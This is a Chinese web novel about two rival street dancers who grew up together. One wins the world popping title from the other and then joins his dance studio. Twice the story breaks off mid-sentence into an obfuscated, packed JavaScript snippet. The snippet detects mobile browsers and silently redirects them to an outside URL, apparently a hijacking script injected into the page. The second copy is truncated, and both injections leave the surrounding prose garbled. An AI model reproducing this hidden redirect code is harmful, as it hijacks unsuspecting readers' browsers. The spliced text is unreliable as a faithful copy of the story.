《被竹马抢了街舞世冠后》 1. 重逢【修改】 一间厅室相通、灰色系极简装修的房间灰帘半闭，光线从缝隙沿着白墙一路向里，路过整洁的床铺与桌柜，最终停留在墙边两米多高的落地储物架之上。 几件金色奖杯被骄阳照得泛出大小不一的反光，正红色闭合的荣誉证书上也被照得色彩鲜亮，耀眼至极。 架子某个空处，一只骨节分明的手正将亮银奖杯朝那方向轻放至此，在一片象征光辉的金色之中，显得格格不入。 唯一没什么违和的，是奖杯底座上纷纷标记的“顾以默”、“Eamon”，证实着这些荣誉来源于一人。 正对储物架的位置，顾以默缓缓收回手，咬着棒棒糖向后退了几步，扫视着自己用四年时间打下的荣誉，自然垂落在肩头的黑发随着他的动作飘起又落下，他的视线最终落在那片突兀的银色上面，不满意地轻轻“啧”了一声。 他从九岁开始跳popping，十二岁首次参加大型全国少儿街舞比赛取得popping组冠军，之后比赛成绩从没跌出过前三。 高中毕业转为职业舞者的这四年，他凭借着多场商业赛冠军和连续三年夺得D＆P世界街舞大赛popping项目成年组冠军，被选手和街舞爱好者们调侃为“冠军收割机”。 但就在前不久结束的新一届D＆P大赛上，他却在万众瞩目之下，出乎所有人意料拿了亚军....... 当所有人为他得亚而不解并震惊时，对他而言，相较于手上的亚军奖杯，他在总决赛阶段的舞台上遇到木南苏更有冲击力，甚至说是他有史以来最觉得不可思议的事情，都不足为过。 直到木南苏赢他夺冠，他都没能从中缓过神来。 “嘎嘣——” 一个清脆的声音响起，断裂的快感将他从回忆中拉回现实，顾以默咬断嘴里的糖，轻抬起下巴紧紧盯着银色奖杯。 他大概......已经有四年没见过木南苏了吧，顾以默回忆着。 高考完之后的暑假他便离开了家，木南苏也去上了大学，聊得来的话题越来越少，再加上自己这几年很少回家，所以除了过节和生日时会给彼此送祝福，平日里几乎和断了联系没什么区别。 这么算的话，木南苏今年应该刚好毕业。 谁能想到那个小时候天天跟在自己后面喊哥哥的小哭包，现在居然成了世界冠军...... 纵然事发到现在已经过去几个小时，顾以默都还觉得一切过于虚幻，他抚摸着奖杯的表面，回想起自己不及往年的表现，瞬间从一切情绪抽离，越想越觉得不甘。 他将叼在嘴里的白色塑料棒拿出随意丢进垃圾桶，将嘴里剩下的糖咬碎，拿起丢在沙发上的背包，离开宿舍。 即便奖杯摆满架子，顾以默依旧有个习惯，只要比赛的表现没有让自己满意，就算拿到冠军他还是会把自己关在舞蹈室练舞，练到自己满意为止。 他从二楼的宿舍走下楼梯来到一楼，轻车熟路来到一个房间门前伸手敲了敲，里面无人应答。 顾以默觉得奇怪，按照沈一川一贯的作风，比完赛他理应该在宿舍打游戏才对，屋里怎么会没人？ 每场街舞比赛的规定不一，按照D&P世界街舞大赛规定，被划分为9—13岁的少儿组、14—17岁的少年组和18岁以上的成年组，比赛舞种均为popping、hiphop和breaking。 十七岁的沈一川首次参加D&P的popping项目就拿了冠军，虽然少年组的裁判相对于顾以默参加的成年组仁慈不少，他在复盘沈一川比赛的时候也发现了不少基础性失误。 但他作为师父，深知这成绩是沈一川用汗和泪换来的，所以该鼓励还是要鼓励的。 ，顾以默带着疑惑又伸手敲了几下确认房间里没人，只好朝着门口走去前往舞室。 他熟悉地走着已经走了四年的路，一路上反复重播沈一川的电话，却始终无人接通。 五分钟后，他在路边一栋独立的两层楼面前停下脚步。 眼前的建筑体型宽长，洁净明亮的玻璃门上方挂着蓝底门头，用黑白色彩叠加标着的“ATSX街舞”以造型炫酷的电流状，立体地刻在蓝底之上。 顾以默径直推门而入，轻车熟路越过大厅走在过道，大致用余光扫着两边透明玻璃教室。 此刻并非上课点，六间舞蹈教室安静如斯，空无一人，全程仅有他脚上那双板鞋踩在木地板发出的“嘎吱”声。 顾以默面无表情地向前走着，在两扇画着涂鸦的铁门面前停下脚步，将其中一扇门轻轻推开一个缝隙，一句带着气愤的脏话伴随着游戏的音效传入他的耳朵。 “中路你到底会不会打？推塔你跑个屁！” 清朗的少年音在空旷安静的舞蹈室中显得格外响亮，顾以默见状皱眉，偏头看向在墙上写着“请珍惜时间，请勿在此做无关练习的事情，谢谢配合”的警示牌，又看向此刻沉迷在游戏里的少年。 看来没瞎。 顾以默得出结论，抱臂靠着门框，沉着声音对坐在地上的少年打趣道：“沈一川，游戏好玩吗？” 背对门坐的沈一川听到满是警告的话语，吓得身体立马紧绷，心虚地回头看去。 见顾以默正嘴角上扬地看着自己，他连忙把手机倒扣在地站起身，结结巴巴喊了声师父。 “我刚准备给你联系医院看眼睛。”顾以默走上前，弯腰捡起沈一川的手机，收起笑容将手机递给他，语气不容拒绝地说，“关机，二十个俯卧撑。” 沈一川哀嚎一声，“师父，要不......十五个？刚比完赛没多久，累......” “要不.......六十个？”顾以默学他的语气翻倍加量，忍着累以身作则在他旁边做着俯卧撑的预备姿势。 以往比赛表现不如意，他都会在赛后训练之前进行一些体能上的自罚，用来做训练热身的同时，也在这过程中好好思考自己的失误。 沈一川在顾以默身边待了两年多，是被他从什么都不懂，一步一步带到现在的，自然对他的习惯十分清楚。 见顾以默准备数数，沈一川不情不愿，慢慢悠悠地平趴在地将身体撑起，配合着他的声音做俯卧撑。 “一......二......三......” 数到六十，沈一川做完最后一个直接顺势把手脚张开趴倒在地，气都喘不匀也不忘八卦：“师父.......我刚才看网上他们都在说今年赢你的那个冠军是你前男友，真的假的啊？” 顾以默闻言，险些将还未来得及咽下的水喷出，忠于形象管理慌忙咽下，猛咳了好一会才停下。 这言论顾以默在论坛上看见过，还起了一个骗点击量的标题： “独家消息！木南苏和顾以默居然是这样的关系！” 顾以默以为是认识他们的同学发的，抱着好奇心就点了进去，在看到“前男友”这三个字之后瞬间退出帖子。 他本想露面澄清，但觉得太扯应该不会有人信就没管，谁知道越说越荒谬...... 顾以默无语地看向沈一川，开口反问：“你们是不是都不知道有一种关系叫发小？” “什么？青梅竹马！”沈一川激动坐起身，“师父为什么你从来都没说过？” 顾以默被他这个形容惊得倒吸凉气，一直不理解面前的少年才十七岁，脑子怎么坏成这样...... 好在他已经对沈一川这个样子见怪不怪，干脆半遮半掩地企图糊弄过去：“都说了发小发小！而且没什么好说的，高考完就各奔东西了。” 不是顾以默不说，这件事他是真的不知道该从何说起。 顾以默一岁多的时候，木南苏刚出生，他们两个的妈妈是大学时期的好闺蜜，两家就隔着一条两米多的过道，他们自然而然从小就在一起生活。 记忆里，木南苏从小就粘他，他身为哥哥也没少照顾木南苏，两人相处十分融洽。 但他们终归是两个年龄相仿的男生，再加上顾以默从小灵活好动，木南苏则是安静乖巧，他们虽然从小到大都是相亲相爱，但有了矛盾抢起东西，却是谁也不让谁。 在玩玩具的年龄互抢玩具，在写作业的年龄互抢作业.......总之什么都抢，还抢不出个结果。 顾以默抢赢了，木南苏哭了，他被吵了。 木南苏抢赢了，顾以默记仇下次给抢回来。 然后就陷入了循环.......直到他们高考完，最后一次抢的就是高中毕业证...... 那次是他抢赢了木南苏的毕业证，结果木南苏在他即将完成目标时，给了他当头一棒。 顾以默轻轻叹气，满心无奈地接受现实。 平日里，顾以默一向倡导面对失败和成功都不要太当回事，赢了自己才是真理。 这小心眼的经历和心思要是被传出去，他以后还怎么理直气壮让他们面对比赛结果大度。 特别是沈一川。 “行了，别以为我没看回放。”顾以默拿出手机调出沈一川的比赛录像放在他面前带他复盘，“你明明可以把衔接处理得更好，却反倒频繁在这上面出错。晚上我有基础课，你跟着一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848822|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，好好练基础。” 见沈一川垂头一副受打击的模样，顾以默起身拿过自己的包坐回原处，从里面掏出一个鞋盒递给他继续说：“但是，除了那些问题，你表现的确实很好，答应你的奖励。” 沈一川惊喜地接过鞋盒，打开发现是自己梦寐以求的限量款板鞋。 手还没来得及摸到却被顾以默扣上，他不解地抬头看去。 “去不去？”顾以默懒散地看着他，语气却充满了警告。 即便是没有板鞋，这张不易近人的脸配上由内而外散发出的压迫感，也足以让沈一川点头。 他咽了下口水，结结巴巴说：“我我我我我去......晚上我一定第一个到教室。” 他说完，趁顾以默松手连鞋带盒抱起就跑，生怕顾以默再借此威胁他。 顾以默看着那傻小子脚底抹油的模样，心生无奈。 沈一川什么都好，长相阳光性格活泼，没什么心眼和谁都处得来，实力更是在同龄人里最出色的。 但正是因为被捧得高，才让沈一川陷入一种“我已成神”的错觉，导致他在日常的练习中，根本看不上基本功。 顾以默对着门口无奈摇头，掏出手机播放着他和木南苏的那场决赛回放复盘。 画面当中，生来栗棕发色、中分发型的木南苏身材高瘦，杏眼薄唇，白T与浅蓝牛仔裤的搭配和他与生俱来的干净气质完美贴合，看起来十分乖巧无害。 如果不是自己的亲身经历和木南苏如流水般顺畅的动作衔接，顾以默真的很难将木南苏和街舞冠军挂上钩。 他反复观看这场回放，虽然打心底还是不愿意相信自己拿亚军的事实，但他必须承认......木南苏的表现是不错的。 尤其相较于自己这次因为腰伤屡次出现动作卡顿的情况，木南苏确实略胜一筹。 他本身就是带伤比赛，总决赛前休息期间又不小心与人发生碰撞，导致腰一直使不上力，给他在总决赛的发挥造成了不小的影响。 D＆P世界街舞大赛是圈内公认看实力的比赛，裁判更像是一个无情的打分机器，所以他们不会因为任何原因给出任何不符合规定的分数。 顾以默复盘得差不多，也找到了这场比赛让他不满意的几个地方，起身走到柜子前从里面拿出专门用来录视频的手机，将自己的手机关机放进去锁上柜子。 他拿过放在墙角的三脚架，将手机固定在上面打开录像功能，用遥控器将音响打开，跟着节奏随意做着pop重新热身。 感觉全身已经活动开，顾以默找准时机踩着节奏顺势往里进动作，手臂弯曲着胸部pop结束后轻松快速地肩部roll扭转，随后迈出右脚转动上半身，全身pop....... 即便练舞室开着空调，顾以默身上的汗水依旧顺着他的动作向下滴，习惯性捏住衣领，还没怎么用力手心就被汗水浸湿。 他将额前滴汗的刘海随意向后撩起，随即的清凉让他舒适地松了口气，懒懒地走到背包面前，拿出毛巾展开盖到头上，就地一坐皱着眉头仰头喝水。 嘴里的水刚咽下，顾以默从镜子看到门被打开，转头看向门那边。刚刚跑出去的沈一川又回来了，和走的时候不一样，他此刻笑得跟家里办喜事似的。 “干什么？”顾以默擦拭着头发开口问道。 他太了解沈一川回来肯定不是回来练舞的，便干脆让沈一川直奔主题。 沈一川笑着起哄道：“师父，你前男友在门口，你要不要.......诶！师父别别别别别扔，我错了，是师叔让我这样说的！”见顾以默手握瓶颈一脸杀气，他赶紧紧闭双眼偏头躲，试图如实交代争取宽大处理。 他口中的师叔，是顾以默的师兄卢择，同时也是这家舞社的经理。 顾以默这才想起，卢择和他在从赛场回来的路上提过一嘴，说少儿组要来一名新老师。 不会就是木南苏吧....... 为了验证自己的想法，顾以默还是取下毛巾，选择出来一探究竟。 本想着只是探头偷看，结果沈一川直接把他推了出来，顾以默一个踉跄彻底暴露在外。 气质干净的男生本在门口和人交谈，听见动静朝顾以默的方向看去，对他微微歪头眨眼勾唇。 顾以默心道果然，看懂了木南苏这甜腻一笑背后隐藏的深意，强装镇定在心里默念自己和他不熟。 他转过身想回到练舞室逃避这个现实，却被一个清澈柔和且明显强忍笑意的招呼声喊住脚步。 “以默哥哥，好久不见。” 2. 惊喜【修改剧情】 因为木南苏的一句哥哥，他们老大把带着木南苏熟悉环境的任务交给了顾以默，还语重心长地告诉他谈恋爱不要影响比赛。 顾以默看向在一旁憋笑的卢择，想把他剁了扔门口鱼缸里的心都有。 卢择察觉到来自一旁的怒视，求生欲十足地跟着老大一起离开。 顾以默无语哼笑，将视线移到正在他们中间来回看的沈一川，想到自己躲得好好的，结果就这么因为他暴露，心底怨念更深。 他抬手搭上沈一川的肩膀，对他压低声音说：“现在你师父有难，做徒弟的是不是该帮一下师父？” 沈一川再次感受到顾以默的压迫感，他只能抱歉笑笑，大脑飞速旋转却想不出拒绝的理由，无奈之下正要妥协，衣兜里手机铃声响起，他心中大喜，连忙掏出手机接通：“什么？江湖救急？挺住我现在就来！” 他强忍着欣喜挂断电话，故作为难地看向顾以默，“师父，你看你这就一个人，但是那边一堆人等着我去救急呢.......” 见顾以默的脸色越来越难看，沈一川的声音越说越小。 “去吧。” 始终在旁边看热闹的木南苏从顾以默的沉默中看出了他此刻的心中所想，替他开口说道：“毕竟在人数上，江湖那边确实略胜一筹。” 见眼前人不敢走，他抱臂挑眉开口提醒着：“还不走？一会你师父后悔，可就没机会了。” 木南苏此刻的模样和语气与顾以默近似，沈一川看得有些恍惚，不禁暗叹他们不愧是青梅竹马，见顾以默似乎有开口的打算，赶忙心直口快大声感激：“谢谢师父！谢谢前师爹！” 他余光注意到顾以默的表情，才意识到自己说了什么，连忙捂嘴逃离这个是非之地。 顾以默看着他以保命的速度逐渐消失在视野范围，转头瞪着身旁的始作俑者。 见木南苏一副恶作剧得逞的模样，顾以默无奈叹气，只能只身带着他熟悉环境。 “这边是饮水机。” “那边是灯的开关。” “这是花，那是草，合起来叫花草。” 顾以默尽职尽责带着木南苏熟悉舞社的每个角落，连路过的蚂蚁都临时编个名给他介绍。 木南苏倒也不恼他的敷衍，安静在旁边听着，配合他点头微笑。 等他带着自己逛遍每个角落，木南苏这才勾唇开口问：“怎么样顾以默，这个惊喜喜欢吗？” “你到底还有多少惊喜，全说完让我算一下我应该揍你多少顿！”顾以默转过头看他，咬牙切齿威胁道。 木南苏抿嘴思考，好像这个问题多难回答一样，片刻后才一脸无辜对顾以默说；“没了，就这些，你要是嫌少我再给你来点？” “你！”顾以默想说些什么，但实在无言以对，只能紧咬。 从小到大木南苏确实没少给他惊喜，次次都是他惊，木南苏喜。 他现在还记得木南苏高中时期说有惊喜在他书包里，到家一看是别的女生送给他的情书。 顾以默当时想着第二天悄悄塞木南苏包里，谁知道那天晚上老妈突发奇想要给他洗书包，他伸手去阻挠却晚了一步，当场和爸妈解释几遍但无人相信，只能任凭爸妈误会他早恋，四处打听...... 木南苏看他的眼神，便猜出他似乎回想起了什么，向他露出了一个无害的笑容，适可而止转移话题说道：“你教的是成人组popping？” 顾以默点头应下，余光瞥见身穿粉色短袖的付宵凡走进舞社，强装镇定把他拉到木南苏面前介绍：“这是付宵凡，我听说你是教少儿组popping，这是你搭档。老付，这是......” “我知道！你是顾以默的.......”付宵凡爽朗的声音响起。 他话说一半，隐隐感觉一阵警告的眼神从旁边传来，原本要说“前男友”的话立马改口，对木南苏笑道，“天敌！” 木南苏被这个形容逗笑，点头笑着应是。 顾以默听他们一个敢说一个敢应，无语哼笑，趁着他们聊得正热火朝天，干脆把这个新手村村长的身份交给付宵凡，自己溜回舞蹈室继续练舞。 直到看见手机上的时间写着七点半，顾以默才想起一会还要上课，看向角落处地板上七倒八歪的塑料瓶，弯腰收拾一番，决定出去买瓶水。 买完水准备转头去教室，顾以默无意间看见门口少儿组的教室似乎有人在跳舞，不自觉地向前走去，便看见正在认真练舞的木南苏。 木南苏的动作虽说流畅，观赏度很强，顾以默能看得出如果木南苏能再完善一下细节，水平绝对会提升很多。 与此同时，他还从对木南苏的了解推算出木南苏跳舞的时间，绝对不会超过四年....... 这么短的时间，能达到这样的水平，并不是一件容易的事情...... 想到这两点，顾以默的疑惑像从主干扩散出的分支一般，无限蔓延，好不容易缓解的那份不甘再次燃起，缓缓走到木南苏身后，将手里的水放在墙边，踩着beat的鼓点蹦着热身，准备和他再来一场比拼。 木南苏从镜子里看到顾以默的身影，向后看去才感受到他此刻的目的。 他停下动作，低头抿嘴走到音箱旁边将音乐关闭，拿起顾以默刚放在墙边的水毫不见外打开喝了一口。 “这么怕我偷学你的技术，把冠军抢回来？”顾以默笑着走到他身边，靠着音箱抱臂打趣。 木南苏就地一坐，学着他的懒散往后一靠，眨巴眼睛抬头对他说：“这句话我从小听到大，你什么时候能抢得过我？我等着呢。” 顾以默见他在地上耍赖的模样，不理会他哪壶不开提哪壶，哼笑坐到他旁边，拿过手边的水喝下。 他余光无意间扫见木南苏震惊的眼神，将水咽下把手里的瓶子放回原位，好奇问道：“你这什么表情？我们从小一起生活了十几年，只是四年没见，不至于这么见外，同喝一瓶水都不让？” 见他面色泛红地摇头，顾以默以为他觉得热，起身前往门口拨动墙上的开关，将室内的空调温度调低，指着堆在墙角的行李问：“你现在有地方住吗？” 木南苏点头，说了老大给他安排了宿舍，紧接着开口问道：“你也是住宿舍吗？” “对。”顾以默懒散地回答。 注意到木南苏口中的“也”，他试探性继续问：“但不是所有老师都有这个待遇的，所以........你往后还要参加比赛？” 见木南苏再次点头，顾以默直接愣神，他真的只是随意试探一下，没想到木南苏真的和他一样....... “行，知道了。”顾以默撑地起身，带着宣战的语气给他打气，“加油，下次赛场再一决胜负。” 木南苏笑着应好，站在原地看着他的背影，轻声勾唇说道： “拭目以待。” 他话音落下，正准备继续复盘练习，没过多久便再次从镜子看到顾以默从门口进来。 木南苏回头看去，还没来得及疑惑，顾以默将两瓶新买的矿泉水放在墙边后，起身朝他看去。 "对了，我给你发了一个群邀请，是我们的群，平时我们会发一些比赛的事情，还有他们一般也会在群里闲聊，你如果想加的话，可以加一下。" 顾以默说完，见木南苏愣愣点了点头，这才转身离开。 门口的身影又一次消失在视野范围内，木南苏站在原地，看着墙边的两瓶水有些出神，嘴角不自觉缓缓勾起....... 晚上八点的ATSX正处于热闹时间段，尤其是今天世界赛讨论度极高，顾以默走到教室门口，刚好听到学员们在讨论世界赛的事情。 “你看今天的世界赛了吗？Eamon居然得了亚军......” “看了，而且我刚才来舞社的时候还碰见木南苏了，长得好好看我的天！顾老师眼光不错！” “谁知道裁判是不是看木南苏长得好看才.......” 站在中间位置的男生话没说完，看见顾以默从他身边走过不敢再往下说，议论声更是戛然而止，刚才还吵闹的教室瞬间只剩下顾以默脚踩木地板走路的声音。 “我们接下来要学习框架，我希望你们可以认真对待。”顾以默面无表情扫着教室里十几名学员们，最终视线落到那个男生身上，“尤其是基础特别落后的人。” 见他们不情愿，顾以默无所谓：“当然，你们可以把我的话当耳旁风，这是你们的权利；但我对你们负责是我的义务，上课。” 此话一出，学员们也不敢再有不满，即便是再次教室里响起一阵脚步声，他们也只是回头看一眼，不敢出声议论。 顾以默在前排清楚地看见在后排跑来听课的付宵凡，以及满脸写着“我不想上基础课”的沈一川，还有.......把行李箱放在门口往教室进的木南苏？！ 他瞬间庆幸卢择今天晚上有课，不然这诺大的教室今天还真显得有点拥挤....... 无视两个疑似来捣乱的人，顾以默演示了一遍今天要学的基础框架，边教边说：“这个框架叫Fresno，它的具体元素是这样的，首先要用脚尖左右移动找到重心.......然后找律动.......” 示范完毕后，顾以默带着他们过了几遍动作，便让他们自己练习。 木南苏此时带着口罩和帽子，所以当他偏头和付宵凡说话的时候，付宵凡明显被吓了一跳。 “我去！我刚才还奇怪是谁在这，是你啊。”付宵凡尽量控制自己受惊吓的音量不打扰到别人，“顾以默啊，他上课的画风一直都是这样的，也就沈一川能受得了他。” 木南苏顺着方向看去，沈一川此刻 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顾以默闻声看去，即便木南苏此刻全副武装，他还是能联想到木南苏现在的无辜模样，死死咬住后槽牙看着那个方向。 他真的很想把木南苏当场撵出去，但碍于学生们都还在看着，并且他能感受到没人发觉到这个“虚心求教”的男生就是新鲜出炉的冠军。 为了守住他逢问必教的名声，顾以默只能硬着头皮来到木南苏面前，尽可能将语气放缓问道：“同学你什么地方不会？” 木南苏歪头思考片刻，捏着嗓子开口说：“我的手不会摆，怎么办呀老师？” 顾以默看向旁边憋笑要憋出内伤的付宵凡，悄无声息地往旁边瞪一眼，便将视线移回木南苏身上，一遍一遍给他重复着示范。 见他还是故意不懂，顾以默直接来到木南苏身后手握住他的胳膊，亲自手把手教他。 木南苏没想到顾以默会直接上手，在肢体相触的那一瞬间瞳孔张大，紧张地绷住身体，他偷偷扭过头去看顾以默的侧颜，有些分神。 眼前的黑狼尾青年肌肤细腻，细长轻微上挑的眼型显得眼神锐利，高挺的鼻梁与薄唇使他在面无表情时距离感拉满。 木南苏看得耳尖泛红，慌忙移开视线，努力将注意力集中在顾以默的讲解上。 “好了，这位同学学得很快，如果再有什么不会的可以再问我。”顾以默故意把木南苏的肌肉记忆唤醒，让他的动作下意识完成一段非常标准的基础框架。 见木南苏没再发出声音，顾以默便走回刚才的那位学生面前，继续刚才的进程。 “我们休息一下。”说完顾以默再次朝那个方向看去，木南苏却不见了踪影，放在门口的行李箱也跟着一起消失不见。 顾以默悄悄收回眼神，以为没人察觉。 “别看了，人家早就走了。”付宵凡走上前搭着他的肩膀逼问道，“说吧，是不是准备死灰复燃？这要是放别人这样捉弄你，你早就翻脸了！” 沈一川连忙点头，表示自己想知道。 顾以默被这两个人一左一右地挤在中间动弹不得，无语地再次强调他和木南苏是发小，从木南苏出生那天起就基本上生活在一起的发小。 “我懂，青梅竹马是吧！气氛甜蜜的那种！从小养到大的那种！”付宵凡满脸看破不说破的表情，再次得出这个奇特的结论。 察觉到顾以默准备揍人的前调，他赶紧拉着沈一川往门外跑。 顾以默看着两个人逃跑的身影，强压住想揍人的冲动，转回教室继续上课。 十点下课，顾以默日常性地帮保洁阿姨打扫卫生，一来可以锻炼身体，二来因为自己下课时间最晚，总是连累保洁阿姨等他，心里实在有些过意不去。 收拾完毕和阿姨说了明天见，顾以默将舞社的大门锁好，戴上耳机趁着在路上熟悉音乐，填充自己的音乐库。 走到宿舍楼下，顾以默注意到自己房间的隔壁似乎亮了灯，虽然等他再看就是漆黑一片，但他清楚刚才的并不是错觉。 衣兜里的手机不断传来震动，他好奇掏出手机一探究竟。 【沈一川】：欢迎前师爹进群！ 【付宵凡】：欢迎欢迎！我本来想拉一下你的，结果老顾居然这么贴心周到！ 【卢择】：欢迎！那这不是必须的吗！ 【木南苏】：谢谢，还请大家以后多多指教！ 顾以默看到群聊里确实出现“木南苏”这三个字时，只觉得自己出现了幻觉，缓和了好一会才记起木南苏现在就住在眼前这栋楼的其中一间房中，深感恍惚地抬头望去。 隔壁住的，不会是木南苏吧？！ 顾以默被自己下意识的想法惊到，轻晃了一下头让自己保持清醒，低头在群里也一起发了“欢迎”二字，便收起手机，抬步上楼。 3. 行李箱 顾以默一大早被手机铃声吵醒，皱着眉头不耐烦地接起电话：“谁啊？” 听到另一边的声音后连忙坐起身，他调整自己的语气，礼貌地喊了一声干妈。 “以默啊，是不是干妈打电话打得太早了，打扰你睡觉了？”电话那边传来拜托语气的中年女音，“要不是苏苏不接电话，我真的不好意思麻烦你........” 五分钟后，顾以默打着哈欠来到隔壁的房间门口，伸手敲门。 “来了。”屋内传来一声慵懒的回应，随后木南苏身穿白色小熊卡通睡衣，顶着一头乱糟糟的栗色头发，接近梦游的状态出现在门口对着顾以默说，“有什么事吗？” 顾以默见状愣了愣，他没想到木南苏真的住这里，一时没反应过来。 直到木南苏喊了他的名字，顾以默才如梦初醒，无语地对他说：“你怎么从小到大手机静音的习惯还没改？干妈联系不上你，电话都打到我这来了，你给她回一个。” “嗯......”木南苏靠着门框垂眼听着，迷迷糊糊开口问，“还有什么事吗？” “你这造型.......挺别致的。” 话音落下，木南苏猛一下惊醒，低头去看自己，这才意识到自己正以什么形象站在顾以默面前，红着耳朵瞪他一眼，关门进屋的动作一气呵成。 顾以默将他一切反应尽收眼底，对他莫名的害羞深感不解。 他们从小几乎在一起住了十几年，彼此什么模样都见过，怎么才四年没见，现在变得这么见外？ 顾以默思来想去对这个反常都找不到正解，外加上脑袋里还残留着困意，最终只当是木南苏现在比之前更注意形象，无语地敲了敲他的门强调别忘了给干妈回电话，里面传来一声应好，这才转头回去。 他重新躺回床上酝酿睡意，可翻来覆去丝毫不见睡意，最后干脆放弃挣扎，决定洗漱收拾一下去练舞，刚出门就碰到木南苏站在门口徘徊，好像有事找他，又好像只是出来透气。 “顾以默。”木南苏见他要走，连忙开口喊住他，“你知道这里有什么地方可以修行李箱吗？我箱子坏了......” 顾以默闻言停下脚步回头看去，见木南苏抿嘴看着自己，在心里不得不承认木南苏这副长相绝对是街边商贩会喜欢的类型。 好骗得很。 他最终叹了口气走到木南苏面前，开口问道：“你行李箱呢？让我看看。” 他说着，木南苏侧了侧身，他越过木南苏，进到了房间。 木南苏的宿舍也是极简风装修的一室一厅一厨一卫，不过和顾以默的灰白黑相比，这里的色调清新又干净，和木南苏整体的风格出奇般配。 顾以默四处看着，木南苏将房间布置得很整洁，从按照高低顺序摆放物件的细节就能看出他的用心，唯独一个在客厅敞开着的黑色行李箱显得有些格格不入，顾以默蹲下身查看。 “你最近要用行李箱吗？”他余光看到旁边收拾好了的物品，猜测应该是要装进去的。 木南苏闻言点头，“对，我还需要回家一趟把这些用不着的东西带回去。” 顾以默起身回到自己宿舍，走到衣柜前从里面拿出一个小行李箱，推给身后跟着他一起进来的木南苏，“你先用我的吧，那个行李箱如果没什么特殊意义就扔了吧，修的话还不如再买一个。” 木南苏接过顾以默的行李箱，疑惑道：“你不用吗？” “我还有。”顾以默朝木南苏笑笑，见他似乎在看一个地方，顺着目光看去原来是自己平时用来放奖杯的架子。便走上前对他说，“怎么样？不要太羡慕我，” 木南苏默默拿起在这一片金海中非常显突兀的银色奖杯，对顾以默眨了一下眼，并学着他的语气重复了一遍他的话。 顾以默见状也不生气，任由着他在房间里到处逛，直到顾以默看到他好像翻到了什么东西，假装自然地问他中午要吃什么，企图分散他的注意力。 木南苏一听顾以转移话题，就知道事情没那么简单，并不打算放过他，语气有些急地问道：“多长时间了？干妈他们知道这件事吗？” “你能不能不要用这种让人误会的句式。”顾以默见躲不过去只能坦白，走上前关上抽屉，无奈笑着说，“你别告诉我爸妈，没事，毕竟没有几个人是完好无损地夺冠，你敢说你身上没点伤病吗？你和干妈说了吗？” 见木南苏低下头沉默不语，顾以默叹气，从抽屉里拿了几盒药放到他手里，“我不知道你为什么大学会突然选择跳舞，但既然选择跳舞，那就好好保护自己。” 木南苏听他猜出来自己的跳舞时间愣住，怕他追问自己，表情有些不自然，放在身侧的手不自觉紧抓衣角，悄悄抬眼看向顾以默，发现他并没有注意这些松了口气。 此刻顾以默的心思全在药上，在心里提醒着别把自己的药给木南苏，有些药是强行止疼的，不能让他发现。 他认真地查看木南苏手里的药，耐心地说：“这个是缓解腰疼的；然后这个是你脚踝损伤的话，用这个膏药挺管用的，还有这个......” 把他手里的药都解释了一遍之后，顾以默见木南苏只顾着点头，也不知道这人到底听明白没有，决定放弃这件事，干脆和木南苏说不知道怎么用药就来找他。 “好。”木南苏笑了笑，“你刚才说那么多，我等的就是这一句。” .......现在他揍木南苏应该不会再被老妈打了吧？ 顾以默朝着他翻了个白眼，拿起手机问他要吃什么饭，一起点了。 木南苏眨了眨眼，“不用了，我一会要出去一趟。” 他说着，拿着药朝顾以默道了谢，便开门走了出去。 顾以默往门口望了望，等木南苏彻底走远，转身回到架子前，看着一个个奖杯和证书，他拿起昨天刚得的亚军奖杯，用棉布一遍一遍擦拭着。 “师父对不起，希望您不要怪我今年世界赛我没有发挥好，我明年肯定会替您完成遗愿......”顾以默轻轻说着。 将手里的奖杯工工整整地摆回原处，顾以默伸出手擦了一下湿润的眼角，收拾好情绪便出门前往舞蹈室练舞。 路过沙发的时候，顾以默察觉到沙发上随意放着一个东西，走近一看发现是一件蓝白色的棒球服外套，一看就是木南苏的。 顾以默下意识追出去，木南苏却已经没了踪影，他只好将衣服装进背包，准备找机会还给木南苏。 “你要不要这么拼？”从教室准备回宿舍的卢择碰见正在往里走的顾以默，走上前伸手挡在他面前，皱眉劝他，“去医院看看你的腰吧，别以为你不说我就看不出来。” 顾以默莞尔摇了摇头，“好多了，放心吧。”说完绕过他便往里走去。 “诶对了！”卢择突然想起一件事，连忙叫住顾以默，“老大说了可能以后要参加团队赛，感觉可能要你和你前男友组队。” 顾以默闻言险些被自己绊倒在地，回过头诧异地看向卢择，和他再三确认之后哼笑道，“我和他组队参赛，那就没对手什么事了！” 说完转身和他摆手，压根没把这事放在心上，朝着舞蹈室的方向走去。 卢择无奈地看着顾以默的背影，也不知道他什么时候可以明白师父的遗愿其实并不是他想的那样......叹口气转身朝着宿舍走去。 在路上碰见了打着哈欠的沈一川，卢择突然想起来什么嘱咐他记得拉着顾以默吃饭。 “好的师叔！我明白了！”沈一川再次打了个哈欠，和卢择道了别就赶往舞社。 舞蹈室开足了空调，沈一川进来就打了个寒颤，他本想把温度调高些，在看见满头汗的顾以默后干脆把空调关上，“师父，都说了多少次跳舞的时候还是别把空调开那么低，容易感冒。”说着把手里的毛巾和一份饭递给顾以默。 “这不是怕你进来热。”顾以默接过毛巾擦了擦汗，将毛巾挂在脖子上接过沈一川手里的饭和他一起坐地上吃了起来，边嚼边拿出手机问道，“多少钱？我转你。” 沈一川闻言鼓着腮帮子抬起头，把嘴里的饭咽下去拒绝了他要给钱的举动。但看到顾以默瞪他的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 